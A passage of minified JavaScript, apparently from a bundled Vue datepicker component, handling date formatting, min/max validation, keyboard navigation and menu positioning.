Date(`2017-01-0${t}T00:00:00+00:00`)).slice(0,2)),r=n.slice(0,t),a=n.slice(t+1,n.length);return[n[t]].concat(...a).concat(...r)},Eo=e=>{const t=[];for(let n=+e[0];n\u003C=+e[1];n++)t.push({value:+n,text:`${n}`});return t},To=(e,t)=>{const n=new Intl.DateTimeFormat(e,{month:t,timeZone:\"UTC\"});return[1,2,3,4,5,6,7,8,9,10,11,12].map(e=>{const t=e\u003C10?`0${e}`:e;return new Date(`2017-${t}-01T00:00:00+00:00`)}).map((e,t)=>({text:n.format(e),value:t}))},Ro=e=>[12,1,2,3,4,5,6,7,8,9,10,11,12,1,2,3,4,5,6,7,8,9,10,11][e],Oo=e=>{const t=(0,a.R1)(e);return null!=t&&t.$el?null==t?void 0:t.$el:t},Mo=e=>Object.assign({type:\"dot\"},e),Ao=e=>!!Array.isArray(e)&&(!!e[0]&&!!e[1]),Do={prop:e=>`\"${e}\" prop must be enabled!`,dateArr:e=>`You need to use array as \"model-value\" binding in order to support \"${e}\"`},Wo=e=>e,Bo=e=>0===e?e:!e||isNaN(+e)?null:+e,Po=e=>Object.assign({menuAppear:\"dp-menu-appear\",open:\"dp-slide-down\",close:\"dp-slide-up\",next:\"calendar-next\",previous:\"calendar-prev\",vNext:\"dp-slide-up\",vPrevious:\"dp-slide-down\"},e),Io=e=>Object.assign({toggleOverlay:\"Toggle overlay\",menu:\"Datepicker menu\",input:\"Datepicker input\",calendarWrap:\"Calendar wrapper\",calendarDays:\"Calendar days\",openTimePicker:\"Open time picker\",closeTimePicker:\"Close time Picker\",incrementValue:e=>`Increment ${e}`,decrementValue:e=>`Decrement ${e}`,openTpOverlay:e=>`Open ${e} overlay`,amPmButton:\"Switch AM\u002FPM mode\",openYearsOverlay:\"Open years overlay\",openMonthsOverlay:\"Open months overlay\",nextMonth:\"Next month\",prevMonth:\"Previous month\",day:()=>\"\"},e),No=e=>null===e?0:\"boolean\"==typeof e?e?2:0:+e>=2?+e:2,Lo=(e,t,n)=>e||(\"string\"==typeof n?n:t),jo=e=>\"boolean\"==typeof e?!!e&&Po({}):Po(e),Fo=()=>({enterSubmit:!0,tabSubmit:!0,openMenu:!0,rangeSeparator:\" - \"}),Vo=e=>Object.assign({months:[],years:[],times:{hours:[],minutes:[],seconds:[]}},e),Uo=e=>{const t=()=>{if(e.partialRange)return null;throw new Error(Do.prop(\"partial-range\"))},n=(0,r.EW)(()=>({ariaLabels:Io(e.ariaLabels),textInputOptions:Object.assign(Fo(),e.textInputOptions),multiCalendars:No(e.multiCalendars),previewFormat:Lo(e.previewFormat,e.format,i()),filters:Vo(e.filters),transitions:jo(e.transitions),startTime:p()})),a=t=>{if(e.range)return t();throw new Error(Do.prop(\"range\"))},o=()=>{const t=e.enableSeconds?\":ss\":\"\";return e.is24?`HH:mm${t}`:`hh:mm${t} aa`},i=()=>e.format?e.format:e.monthPicker?\"MM\u002Fyyyy\":e.timePicker?o():e.weekPicker?\"MM\u002Fdd\u002Fyyyy\":e.yearPicker?\"yyyy\":e.enableTimePicker?`MM\u002Fdd\u002Fyyyy, ${o()}`:\"MM\u002Fdd\u002Fyyyy\",l=(t,r)=>{if(\"function\"==typeof e.format)return e.format(t);const a=r||i(),o=e.formatLocale?{locale:e.formatLocale}:void 0;return Array.isArray(t)?`${xn(t[0],a,o)} ${e.modelAuto&&!t[1]?\"\":n.value.textInputOptions.rangeSeparator||\"-\"} ${t[1]?xn(t[1],a,o):\"\"}`:xn(t,a,o)},s=t=>e.timezone?ko(t,e.timezone):t,u=t=>e.timezone?Co(t,e.timezone):t,d=(0,r.EW)(()=>t=>{var n;return null==(n=e.hideNavigation)?void 0:n.includes(t)}),c=t=>{const r=!!e.maxDate&&Ca(s(t),s(ya(e.maxDate))),a=!!e.minDate&&_a(s(t),s(ya(e.minDate))),o=y(t,e.disabledDates),i=n.value.filters.months.map(e=>+e).includes(En(t)),l=!!e.disabledWeekDays.length&&e.disabledWeekDays.some(e=>+e===Tn(t)),u=!!e.allowedDates.length&&!e.allowedDates.some(e=>ka(s(ya(e)),s(t))),d=Rn(t),c=d\u003C+e.yearRange[0]||d>+e.yearRange[1];return!(r||a||o||i||c||l||u)},f=e=>{const t={hours:On(ya()),minutes:Mn(ya()),seconds:An(ya())};return Object.assign(t,e)},p=()=>e.range?e.startTime&&Array.isArray(e.startTime)?[f(e.startTime[0]),f(e.startTime[1])]:null:e.startTime&&!Array.isArray(e.startTime)?f(e.startTime):null,h=e=>!c(e),v=e=>Array.isArray(e)?en(e[0])&&(!e[1]||en(e[1])):!!e&&en(e),m=e=>e instanceof Date?e:Dn(e),g=t=>{const n=Jn(s(t),{weekStartsOn:+e.weekStart}),r=er(s(t),{weekStartsOn:+e.weekStart});return[n,r]},y=(e,t)=>Array.isArray(t)?t.some(t=>ka(s(ya(t)),s(e))):t(e),b=(e,t,n)=>{let r=e?ya(e):ya();return(t||0===t)&&(r=nr(r,t)),n&&(r=rr(r,n)),r},$=e=>ar(ya(),{hours:On(e),minutes:Mn(e),seconds:An(e)}),w=e=>ar(ya(),{hours:+e.hours||0,minutes:+e.minutes||0,seconds:+e.seconds||0}),_=(e,t,n,r)=>{if(!e)return!0;if(r){const r=\"max\"===n?on(e,t):sn(e,t),a={seconds:0,milliseconds:0};return r||ln(ar(e,a),ar(t,a))}return\"max\"===n?e.getTime()\u003C=t.getTime():e.getTime()>=t.getTime()},k=()=>!e.enableTimePicker||e.monthPicker||e.yearPicker||e.ignoreTimeValidation,C=e=>Array.isArray(e)?[e[0]?$(e[0]):null,e[1]?$(e[1]):null]:$(e),x=t=>{const n=e.maxTime?w(e.maxTime):ya(e.maxDate);return Array.isArray(t)?_(t[0],n,\"max\",!!e.maxDate)&&_(t[1],n,\"max\",!!e.maxDate):_(t,n,\"max\",!!e.maxDate)},S=(t,n)=>{const r=e.minTime?w(e.minTime):ya(e.minDate);return Array.isArray(t)?_(t[0],r,\"min\",!!e.minDate)&&_(t[1],r,\"min\",!!e.minDate)&&n:_(t,r,\"min\",!!e.minDate)&&n},E=t=>{let n=!0;if(!t||k())return!0;const r=e.minDate||e.maxDate?t:C(t);return(e.maxTime||e.maxDate)&&(n=x(Wo(r))),(e.minTime||e.minDate)&&(n=S(Wo(r),n)),n},T=(t,n)=>{const r=ya(JSON.parse(JSON.stringify(t))),a=[];for(let o=0;o\u003C7;o++){const t=or(r,o),i=En(t)!==n;a.push({text:e.hideOffsetDates&&i?\"\":t.getDate(),value:t,current:!i,classData:{}})}return a},R=(t,n)=>{const r=[],a=ya(s(new Date(n,t))),o=ya(s(new Date(n,t+1,0))),i=Jn(a,{weekStartsOn:e.weekStart}),l=e=>{const n=T(e,t);if(r.push({days:n}),!r[r.length-1].days.some(e=>ka($a(e.value),$a(o)))){const t=or(e,7);l(t)}};if(l(i),e.sixWeeks&&r.length\u003C6){const e=6-r.length;for(let t=1;t\u003C=e;t++){const e=r[r.length-1],t=e.days[e.days.length-1],n=T(or(t.value,1),En(a));r.push({days:n})}}return r},O=(e,t,n)=>[ar(ya(e),{date:1}),ar(ya(),{month:t,year:n,date:1})],M=(t,n)=>_a(...O(e.minDate,t,n))||ka(...O(e.minDate,t,n)),A=(t,n)=>Ca(...O(e.maxDate,t,n))||ka(...O(e.maxDate,t,n)),D=(t,n,r)=>{let a=!1;return e.maxDate&&r&&A(t,n)&&(a=!0),e.minDate&&!r&&M(t,n)&&(a=!0),a};return{checkPartialRangeValue:t,checkRangeEnabled:a,getZonedDate:s,getZonedToUtc:u,formatDate:l,getDefaultPattern:i,validateDate:c,getDefaultStartTime:p,isDisabled:h,isValidDate:v,sanitizeDate:m,getWeekFromDate:g,matchDate:y,setDateMonthOrYear:b,isValidTime:E,getCalendarDays:R,validateMonthYearInRange:(t,n,r,a)=>{let o=!1;return a?e.minDate&&e.maxDate?o=D(t,n,r):(e.minDate&&M(t,n)||e.maxDate&&A(t,n))&&(o=!0):o=!0,o},validateMaxDate:A,validateMinDate:M,defaults:n,hideNavigationButtons:d}},Xo=(0,a.Kh)({monthYear:[],calendar:[],time:[],actionRow:[],selectionGrid:[],timePicker:{0:[],1:[]},monthPicker:[]}),Ho=(0,a.KR)(null),Go=(0,a.KR)(!1),Yo=(0,a.KR)(!1),zo=(0,a.KR)(!1),Ko=(0,a.KR)(!1),qo=(0,a.KR)(0),Qo=(0,a.KR)(0),Zo=()=>{const e=(0,r.EW)(()=>Go.value?[...Xo.selectionGrid,Xo.actionRow].filter(e=>e.length):Yo.value?[...Xo.timePicker[0],...Xo.timePicker[1],Ko.value?[]:[Ho.value],Xo.actionRow].filter(e=>e.length):zo.value?[...Xo.monthPicker,Xo.actionRow]:[Xo.monthYear,...Xo.calendar,Xo.time,Xo.actionRow].filter(e=>e.length)),t=t=>{qo.value=t?qo.value+1:qo.value-1;let n=null;e.value[Qo.value]&&(n=e.value[Qo.value][qo.value]),n||(qo.value=t?qo.value-1:qo.value+1)},n=t=>{0===Qo.value&&!t||Qo.value===e.value.length&&t||(Qo.value=t?Qo.value+1:Qo.value-1,e.value[Qo.value]?e.value[Qo.value]&&!e.value[Qo.value][qo.value]&&0!==qo.value&&(qo.value=e.value[Qo.value].length-1):Qo.value=t?Qo.value-1:Qo.value+1)},a=t=>{let n=null;e.value[Qo.value]&&(n=e.value[Qo.value][qo.value]),n?n.focus({preventScroll:!Go.value}):qo.value=t?qo.value-1:qo.value+1},o=()=>{t(!0),a(!0)},i=()=>{t(!1),a(!1)},l=()=>{n(!1),a(!0)},s=()=>{n(!0),a(!0)},u=(e,t)=>{Xo[t]=e},d=(e,t)=>{Xo[t]=e},c=()=>{qo.value=0,Qo.value=0};return{buildMatrix:u,buildMultiLevelMatrix:d,setTimePickerBackRef:e=>{Ho.value=e},setSelectionGrid:e=>{Go.value=e,c(),e||(Xo.selectionGrid=[])},setTimePicker:(e,t=!1)=>{Yo.value=e,Ko.value=t,c(),e||(Xo.timePicker[0]=[],Xo.timePicker[1]=[])},setTimePickerElements:(e,t=0)=>{Xo.timePicker[t]=e},arrowRight:o,arrowLeft:i,arrowUp:l,arrowDown:s,clearArrowNav:()=>{Xo.monthYear=[],Xo.calendar=[],Xo.time=[],Xo.actionRow=[],Xo.selectionGrid=[],Xo.timePicker[0]=[],Xo.timePicker[1]=[],Go.value=!1,Yo.value=!1,Ko.value=!1,zo.value=!1,c(),Ho.value=null},setMonthPicker:e=>{zo.value=e,c()},refSets:Xo}},Jo=e=>Array.isArray(e),ei=e=>Array.isArray(e),ti=e=>Array.isArray(e)&&2===e.length,ni=(e,t,n,o,i)=>{const{getDefaultStartTime:l,isDisabled:s,sanitizeDate:u,getWeekFromDate:d,setDateMonthOrYear:c,validateMonthYearInRange:f,defaults:p}=Uo(e),h=(0,r.EW)({get:()=>e.internalModelValue,set:n=>{!e.readonly&&!e.disabled&&t(\"update:internal-model-value\",n)}}),v=(0,a.KR)([]);(0,r.wB)(h,()=>{e.multiCalendars||k()});const m=(0,a.KR)([{month:En(ya()),year:Rn(ya())}]),g=(0,a.Kh)({hours:e.range?[On(ya()),On(ya())]:On(ya()),minutes:e.range?[Mn(ya()),Mn(ya())]:Mn(ya()),seconds:e.range?[0,0]:0}),y=(0,r.EW)(()=>e=>m.value[e]?m.value[e].month:0),b=(0,r.EW)(()=>e=>m.value[e]?m.value[e].year:0),$=(0,r.EW)(()=>!e.flow||!e.flow.length||i.value===e.flow.length),w=(e,t,n)=>{var r,a;m.value[e]||(m.value[e]={month:0,year:0}),m.value[e].month=null===t?null==(r=m.value[e])?void 0:r.month:t,m.value[e].year=null===n?null==(a=m.value[e])?void 0:a.year:n},_=(e,t)=>{g[e]=t};(0,r.sV)(()=>{h.value||(e.startDate&&(w(0,En(ya(e.startDate)),Rn(ya(e.startDate))),p.value.multiCalendars&&ne(0)),p.value.startTime&&D()),k(!0)});const k=(t=!1)=>h.value?Array.isArray(h.value)?(v.value=h.value,T(t)):x(h.value):e.timePicker?R():e.monthPicker&&!e.range?O():e.yearPicker&&!e.range?M():p.value.multiCalendars&&t&&!e.startDate?C(ya(),t):void 0,C=(t,n=!1)=>{if((!p.value.multiCalendars||!e.multiStatic||n)&&w(0,En(t),Rn(t)),p.value.multiCalendars)for(let e=1;e\u003Cp.value.multiCalendars;e++){const t=ar(ya(),{month:y.value(e-1),year:b.value(e-1)}),n=lr(t,{months:1});m.value[e]={month:En(n),year:Rn(n)}}},x=e=>{C(e),_(\"hours\",On(e)),_(\"minutes\",Mn(e)),_(\"seconds\",An(e))},S=(e,t)=>{C(e[0],t);const n=(t,n)=>[t(e[0]),e[1]?t(e[1]):g[n][1]];_(\"hours\",n(On,\"hours\")),_(\"minutes\",n(Mn,\"minutes\")),_(\"seconds\",n(An,\"seconds\"))},E=(t,n)=>{if((e.range||e.weekPicker)&&!e.multiDates)return S(t,n);if(e.multiDates){const e=t[t.length-1];return x(e)}},T=t=>{const n=h.value;E(n,t),p.value.multiCalendars&&e.multiCalendarsSolo&&B()},R=()=>{if(D(),e.range){const e=g.hours,t=g.minutes;h.value=[wa(ya(),e[0],t[0],A()),wa(ya(),e[1],t[1],A(!1))]}else h.value=wa(ya(),g.hours,g.minutes,A())},O=()=>{h.value=c(ya(),y.value(0),b.value(0))},M=()=>{h.value=ya()},A=(t=!0)=>e.enableSeconds?Array.isArray(g.seconds)?t?g.seconds[0]:g.seconds[1]:g.seconds:0,D=()=>{const t=l();if(t){const n=Array.isArray(t),r=n?[+t[0].hours,+t[1].hours]:+t.hours,a=n?[+t[0].minutes,+t[1].minutes]:+t.minutes,o=n?[+t[0].seconds,+t[1].seconds]:+t.seconds;_(\"hours\",r),_(\"minutes\",a),e.enableSeconds&&_(\"seconds\",o)}},W=()=>Array.isArray(h.value)&&h.value.length?h.value[h.value.length-1]:null,B=()=>{if(Array.isArray(h.value)&&2===h.value.length){const t=ya(ya(h.value[1]?h.value[1]:ir(h.value[0],1))),[n,r]=[En(h.value[0]),Rn(h.value[0])],[a,o]=[En(h.value[1]),Rn(h.value[1])];(n!==a||n===a&&r!==o)&&e.multiCalendarsSolo&&w(1,En(t),Rn(t))}},P=e=>{const t=ir(e,1);return{month:En(t),year:Rn(t)}},I=e=>{const t=En(ya(e)),n=Rn(ya(e));if(w(0,t,n),p.value.multiCalendars>0)for(let r=1;r\u003Cp.value.multiCalendars;r++){const t=P(ar(ya(e),{year:y.value(r-1),month:b.value(r-1)}));w(r,t.month,t.year)}},N=t=>{if(h.value&&Array.isArray(h.value))if(h.value.some(e=>ka(t,e))){const e=h.value.filter(e=>!ka(e,t));h.value=e.length?e:null}else(e.multiDatesLimit&&+e.multiDatesLimit>h.value.length||!e.multiDatesLimit)&&h.value.push(t);else h.value=[t]},L=(e,t)=>{const n=Ca(e,t)?t:e,r=Ca(t,e)?t:e;return sr({start:n,end:r})},j=t=>{if(Array.isArray(h.value)&&h.value[0]){const n=cr(t,h.value[0]),r=L(h.value[0],t),a=1===r.length?0:r.filter(e=>s(e)).length,o=Math.abs(n)-a;if(e.minRange&&e.maxRange)return o>=+e.minRange&&o\u003C=+e.maxRange;if(e.minRange)return o>=+e.minRange;if(e.maxRange)return o\u003C=+e.maxRange}return!0},F=n=>Array.isArray(h.value)&&2===h.value.length?e.fixedStart&&(Ca(n,h.value[0])||ka(n,h.value[0]))?[h.value[0],n]:e.fixedEnd&&(_a(n,h.value[1])||ka(n,h.value[1]))?[n,h.value[1]]:(t(\"invalid-fixed-range\",n),h.value):[],V=()=>{e.autoApply&&$.value&&t(\"auto-apply\")},U=()=>{e.autoApply&&t(\"select-date\")},X=e=>!sr({start:e[0],end:e[1]}).some(e=>s(e)),H=e=>(h.value=d(ya(e.value)),V()),G=t=>{const r=wa(ya(t.value),g.hours,g.minutes,A());e.multiDates?N(r):h.value=r,n(),V()},Y=()=>{v.value=h.value?h.value.slice():[],2===v.value.length&&!e.fixedStart&&!e.fixedEnd&&(v.value=[])},z=(t,n)=>{const r=[ya(t.value),or(ya(t.value),+e.autoRange)];X(r)&&(n&&I(t.value),v.value=r)},K=e=>{q(e.value)||(v.value=F(ya(e.value)))},q=t=>!!e.noDisabledRange&&L(v.value[0],t).some(e=>s(e)),Q=(t,n)=>(Y(),e.autoRange?z(t,n):e.fixedStart||e.fixedEnd?K(t):void(v.value[0]?j(ya(t.value))&&!q(t.value)&&(_a(ya(t.value),ya(v.value[0]))?v.value.unshift(ya(t.value)):v.value[1]=ya(t.value)):v.value[0]=ya(t.value))),Z=e=>{v.value[e]=wa(v.value[e],g.hours[e],g.minutes[e],A(1!==e))},J=()=>{v.value.length&&(v.value[0]&&!v.value[1]?Z(0):(Z(0),Z(1),n()),h.value=v.value.slice(),v.value[0]&&v.value[1]&&e.autoApply&&t(\"auto-apply\"),v.value[0]&&!v.value[1]&&e.modelAuto&&e.autoApply&&t(\"auto-apply\"))},ee=(t,n=!1)=>{if(!(s(t.value)||!t.current&&e.hideOffsetDates)){if(e.weekPicker)return H(t);if(!e.range)return G(t);ei(g.hours)&&ei(g.minutes)&&!e.multiDates&&(Q(t,n),J())}},te=e=>{const t=e.find(e=>e.current);return t?mr(t.value):\"\"},ne=e=>{for(let t=e-1;t>=0;t--){const e=gr(ar(ya(),{month:y.value(t+1),year:b.value(t+1)}),1);w(t,En(e),Rn(e))}for(let t=e+1;t\u003C=p.value.multiCalendars-1;t++){const e=ir(ar(ya(),{month:y.value(t-1),year:b.value(t-1)}),1);w(t,En(e),Rn(e))}},re=e=>c(ya(),y.value(e),b.value(e)),ae=e=>wa(e,g.hours,g.minutes,A()),oe=(n,r)=>{const a=e.monthPicker?y.value(n)!==r.month||!r.fromNav:b.value(n)!==r.year;if(w(n,r.month,r.year),p.value.multiCalendars&&!e.multiCalendarsSolo&&ne(n),e.monthPicker||e.yearPicker)if(e.range){if(a){let e=h.value?h.value.slice():[];2===e.length&&null!==e[1]&&(e=[]),e.length?_a(re(n),e[0])?e.unshift(re(n)):e[1]=re(n):e=[re(n)],h.value=e}}else h.value=re(n);t(\"update-month-year\",{instance:n,month:r.month,year:r.year}),o(e.multiCalendarsSolo?n:void 0)},ie=async(a=!1)=>{if(e.autoApply&&(e.monthPicker||e.yearPicker)){await(0,r.dY)();const n=!!e.monthPicker&&a;e.range?t(\"auto-apply\",n||!h.value||1===h.value.length):t(\"auto-apply\",n)}n()},le=(n,r)=>{const a=ar(ya(),{month:y.value(r),year:b.value(r)}),i=n\u003C0?ir(a,1):gr(a,1);f(En(i),Rn(i),n\u003C0,e.preventMinMaxNavigation)&&(w(r,En(i),Rn(i)),p.value.multiCalendars&&!e.multiCalendarsSolo&&ne(r),t(\"update-month-year\",{instance:r,month:En(i),year:Rn(i)}),o())},se=n=>{Jo(n)&&Jo(h.value)&&ei(g.hours)&&ei(g.minutes)?(n[0]&&h.value[0]&&(h.value[0]=wa(n[0],g.hours[0],g.minutes[0],A())),n[1]&&h.value[1]&&(h.value[1]=wa(n[1],g.hours[1],g.minutes[1],A(!1)))):e.multiDates&&Array.isArray(h.value)?h.value[h.value.length-1]=ae(n):!e.range&&!ti(n)&&(h.value=ae(n)),t(\"time-update\")},ue=(t,r=!0,a=!1)=>{const o=r?t:g.hours,i=r||a?g.minutes:t,l=a?t:g.seconds;if(e.range&&ti(h.value)&&ei(o)&&ei(i)&&ei(l)&&!e.disableTimeRangeValidation){const e=e=>wa(h.value[e],o[e],i[e],l[e]),t=e=>an(h.value[e],0);if(ka(h.value[0],h.value[1])&&(sn(e(0),t(1))||on(e(1),t(0))))return}if(_(\"hours\",o),_(\"minutes\",i),_(\"seconds\",l),h.value)if(e.multiDates){const e=W();e&&se(e)}else se(h.value);else e.timePicker&&se(e.range?[ya(),ya()]:ya());n()},de=(t,n)=>{e.monthChangeOnScroll&&le(\"inverse\"!==e.monthChangeOnScroll?-t.deltaY:t.deltaY,n)},ce=(t,n,r=!1)=>{e.monthChangeOnArrows&&e.vertical===r&&fe(t,n)},fe=(e,t)=>{le(\"right\"===e?-1:1,t)};return{time:g,month:y,year:b,modelValue:h,calendars:m,monthYearSelect:ie,isDisabled:s,updateTime:ue,getWeekNum:te,selectDate:ee,updateMonthYear:oe,handleScroll:de,getMarker:t=>e.markers.find(e=>ka(u(t.value),u(e.date))),handleArrow:ce,handleSwipe:fe,selectCurrentDate:()=>{e.range?h.value&&Array.isArray(h.value)&&h.value[0]?h.value=_a(ya(),h.value[0])?[ya(),h.value[0]]:[h.value[0],ya()]:h.value=[ya()]:h.value=ya(),U()},presetDateRange:(t,n)=>{n||t.length&&t.length\u003C=2&&e.range&&(h.value=t.map(e=>ya(e)),U(),e.multiCalendars&&(0,r.dY)().then(()=>k(!0)))}}},ri=(e,t,n)=>{const o=(0,a.KR)(),{getZonedToUtc:i,getZonedDate:l,formatDate:s,getDefaultPattern:u,checkRangeEnabled:d,checkPartialRangeValue:c,isValidDate:f,setDateMonthOrYear:p,defaults:h}=Uo(t),v=(0,a.KR)(\"\"),m=(0,a.lW)(t,\"format\");(0,r.wB)(o,()=>{e(\"internal-model-change\",o.value)}),(0,r.wB)(m,()=>{P()});const g=e=>{const n=e||ya();return t.modelType?N(n):{hours:On(n),minutes:Mn(n),seconds:t.enableSeconds?An(n):0}},y=e=>t.modelType?N(e):{month:En(e),year:Rn(e)},b=e=>Array.isArray(e)?d(()=>[rr(ya(),e[0]),e[1]?rr(ya(),e[1]):c()]):rr(ya(),+e),$=(e,n)=>\"string\"!=typeof e&&\"number\"!=typeof e||!t.modelType?n:I(e),w=e=>Array.isArray(e)?[$(e[0],wa(null,+e[0].hours,+e[0].minutes,e[0].seconds)),$(e[1],wa(null,+e[1].hours,+e[1].minutes,e[1].seconds))]:$(e,wa(null,e.hours,e.minutes,e.seconds)),_=e=>Array.isArray(e)?d(()=>[$(e[0],p(null,+e[0].month,+e[0].year)),$(e[1],e[1]?p(null,+e[1].month,+e[1].year):c())]):$(e,p(null,+e.month,+e.year)),k=e=>{if(Array.isArray(e))return e.map(e=>I(e));throw new Error(Do.dateArr(\"multi-dates\"))},C=e=>{if(Array.isArray(e))return[ya(e[0]),ya(e[1])];throw new Error(Do.dateArr(\"week-picker\"))},x=e=>t.modelAuto?Array.isArray(e)?[I(e[0]),I(e[1])]:t.autoApply?[I(e)]:[I(e),null]:Array.isArray(e)?d(()=>[I(e[0]),e[1]?I(e[1]):c()]):I(e),S=()=>{Array.isArray(o.value)&&t.range&&1===o.value.length&&o.value.push(c())},E=()=>{const e=o.value;return[N(e[0]),e[1]?N(e[1]):c()]},T=()=>o.value[1]?E():N(Wo(o.value[0])),R=()=>(o.value||[]).map(e=>N(e)),O=()=>(S(),t.modelAuto?T():t.multiDates?R():Array.isArray(o.value)?d(()=>E()):N(Wo(o.value))),M=e=>e?t.timePicker?w(Wo(e)):t.monthPicker?_(Wo(e)):t.yearPicker?b(Wo(e)):t.multiDates?k(Wo(e)):t.weekPicker?C(Wo(e)):x(Wo(e)):null,A=e=>{const t=M(e);f(Wo(t))?(o.value=Wo(t),P()):(o.value=null,v.value=\"\")},D=()=>{var e;const t=e=>{var t;return xn(e,null==(t=h.value.textInputOptions)?void 0:t.format)};return`${t(o.value[0])} ${null==(e=h.value.textInputOptions)?void 0:e.rangeSeparator} ${o.value[1]?t(o.value[1]):\"\"}`},W=()=>{var e;return n.value&&o.value?Array.isArray(o.value)?D():xn(o.value,null==(e=h.value.textInputOptions)?void 0:e.format):s(o.value)},B=()=>{var e;return o.value?t.multiDates?o.value.map(e=>s(e)).join(\"; \"):t.textInput&&\"string\"==typeof(null==(e=h.value.textInputOptions)?void 0:e.format)?W():s(o.value):\"\"},P=()=>{t.format&&\"string\"!=typeof t.format?v.value=t.format(o.value):v.value=B()},I=e=>{if(t.utc){const n=new Date(e);return\"preserve\"===t.utc?new Date(n.getTime()+6e4*n.getTimezoneOffset()):n}return t.modelType?\"date\"===t.modelType||\"timestamp\"===t.modelType?l(new Date(e)):\"format\"!==t.modelType||\"string\"!=typeof t.format&&t.format?l(Qt(e,t.modelType,new Date)):Qt(e,u(),new Date):l(new Date(e))},N=e=>t.utc?ba(e,\"preserve\"===t.utc):t.modelType?\"timestamp\"===t.modelType?+i(e):\"format\"!==t.modelType||\"string\"!=typeof t.format&&t.format?s(i(e),t.modelType):s(i(e)):i(e),L=t=>{e(\"update:model-value\",t)},j=e=>Array.isArray(o.value)?[e(o.value[0]),o.value[1]?e(o.value[1]):c()]:e(Wo(o.value)),F=e=>L(Wo(j(e)));return{inputValue:v,internalModelValue:o,checkBeforeEmit:()=>!!o.value&&(t.range?t.partialRange?o.value.length>=1:2===o.value.length:!!o.value),parseExternalModelValue:A,formatInputValue:P,emitModelValue:()=>(P(),t.monthPicker?F(y):t.timePicker?F(g):t.yearPicker?F(Rn):t.weekPicker?L(o.value):L(O()))}},ai=(e,t)=>{const{validateMonthYearInRange:n,validateMaxDate:a,validateMinDate:o,defaults:i}=Uo(e),l=(e,t)=>{let n=e;return i.value.filters.months.includes(En(n))?(n=t?ir(e,1):gr(e,1),l(n,t)):n},s=(e,t)=>{let n=e;return i.value.filters.years.includes(Rn(n))?(n=t?yr(e,1):br(e,1),s(n,t)):n},u=t=>{const r=ar(new Date,{month:e.month,year:e.year});let a=t?ir(r,1):gr(r,1),o=En(a),u=Rn(a);i.value.filters.months.includes(o)&&(a=l(a,t),o=En(a),u=Rn(a)),i.value.filters.years.includes(u)&&(a=s(a,t),u=Rn(a)),n(o,u,t,e.preventMinMaxNavigation)&&d(o,u)},d=(e,n)=>{t(\"update-month-year\",{month:e,year:n})},c=(0,r.EW)(()=>t=>{if(!e.preventMinMaxNavigation||t&&!e.maxDate||!t&&!e.minDate)return!1;const n=ar(new Date,{month:e.month,year:e.year}),r=t?ir(n,1):gr(n,1),i=[En(r),Rn(r)];return t?!a(...i):!o(...i)});return{handleMonthYearChange:u,isDisabled:c,updateMonthYear:d}};var oi=(e=>(e.center=\"center\",e.left=\"left\",e.right=\"right\",e))(oi||{});const ii=(e,t,n,o)=>{const i=(0,a.KR)({top:\"0\",left:\"0\",transform:\"none\"}),l=(0,a.KR)(!1),s=(0,a.lW)(o,\"teleportCenter\");(0,r.wB)(s,()=>{y()});const u=e=>{const t=e.getBoundingClientRect();return{left:t.left+window.scrollX,top:t.top+window.scrollY}},d=e=>{const t=e.getBoundingClientRect();let n=0,r=0;for(;e&&!isNaN(e.offsetLeft)&&!isNaN(e.offsetTop);)n+=e.offsetLeft-e.scrollLeft,r=t.top+e.scrollTop,e=e.offsetParent;return{top:r,left:n}},c=(e,t)=>{i.value.left=`${e+t}px`,i.value.transform=\"translateX(-100%)\"},f=e=>{i.value.left=`${e}px`,i.value.transform=\"translateX(0)\"},p=(e,t,n=!1)=>{o.position===oi.left&&f(e),o.position===oi.right&&c(e,t),o.position===oi.center&&(i.value.left=`${e+t\u002F2}px`,i.value.transform=n?\"translate(-50%, -50%)\":\"translateX(-50%)\")},h=e=>{const{width:t,height:n}=e.getBoundingClientRect(),{top:r,left:a}=o.altPosition?d(e):u(e);return{top:r,left:a,width:t,height:n}},v=()=>{const e=Oo(t);if(e){const{top:t,left:n,width:r,height:a}=h(e);i.value.top=`${t+a\u002F2}px`,i.value.transform=\"translateY(-50%)\",p(n,r,!0)}},m=()=>{i.value.left=\"50%\",i.value.top=\"50%\",i.value.transform=\"translate(-50%, -50%)\",i.value.position=\"fixed\"},g=()=>{const e=Oo(t);i.value=o.altPosition(e)},y=(e=!0)=>{if(!o.inline)return s.value?m():o.altPosition&&\"boolean\"!=typeof o.altPosition?g():(e&&n(\"recalculate-position\"),C())},b=({inputEl:e,menuEl:t,left:n,width:r})=>{window.screen.width>768&&p(n,r),_(e,t)},$=(e,t)=>{const{top:n,left:r,height:a,width:s}=h(e);i.value.top=`${a+n+ +o.offset}px`,b({inputEl:e,menuEl:t,left:r,width:s}),l.value=!1},w=(e,t)=>{const{top:n,left:r,width:a}=h(e),{height:s}=t.getBoundingClientRect();i.value.top=n-s-+o.offset+\"px\",b({inputEl:e,menuEl:t,left:r,width:a}),l.value=!0},_=(e,t)=>{if(o.autoPosition){const{left:n,width:r}=h(e),{left:a,right:o}=t.getBoundingClientRect();if(a\u003C0)return f(n);if(o>document.documentElement.clientWidth)return c(n,r)}},k=(e,t)=>{const{height:n}=t.getBoundingClientRect(),{top:r,height:a}=e.getBoundingClientRect(),o=window.innerHeight-r-a,i=r;return n\u003C=o?$(e,t):n>o&&n\u003C=i?w(e,t):o>=i?$(e,t):w(e,t)},C=()=>{const n=Oo(t),r=Oo(e);if(n&&r)return o.autoPosition?k(n,r):$(n,r)};return{openOnTop:l,menuPosition:i,setMenuPosition:y,setInitialPosition:v}},li=[{name:\"clock-icon\",use:[\"time\",\"calendar\"]},{name:\"arrow-left\",use:[\"month-year\",\"calendar\"]},{name:\"arrow-right\",use:[\"month-year\",\"calendar\"]},{name:\"arrow-up\",use:[\"time\",\"calendar\"]},{name:\"arrow-down\",use:[\"time\",\"calendar\"]},{name:\"calendar-icon\",use:[\"month-year\",\"time\",\"calendar\"]},{name:\"day\",use:[\"calendar\"]},{name:\"month-overlay-value\",use:[\"calendar\",\"month-year\"]},{name:\"year-overlay-value\",use:[\"calendar\",\"month-year\"]},{name:\"year-overlay\",use:[\"month-year\"]},{name:\"month-overlay\",use:[\"month-year\"]},{name:\"month-overlay-header\",use:[\"month-year\"]},{name:\"year-overlay-header\",use:[\"month-year\"]},{name:\"hours-overlay-value\",use:[\"calendar\",\"time\"]},{name:\"minutes-overlay-value\",use:[\"calendar\",\"time\"]},{name:\"seconds-overlay-value\",use:[\"calendar\",\"time\"]},{name:\"hours\",use:[\"calendar\",\"time\"]},{name:\"minutes\",use:[\"calendar\",\"time\"]},{name:\"month\",use:[\"calendar\",\"month-year\"]},{name:\"year\",use: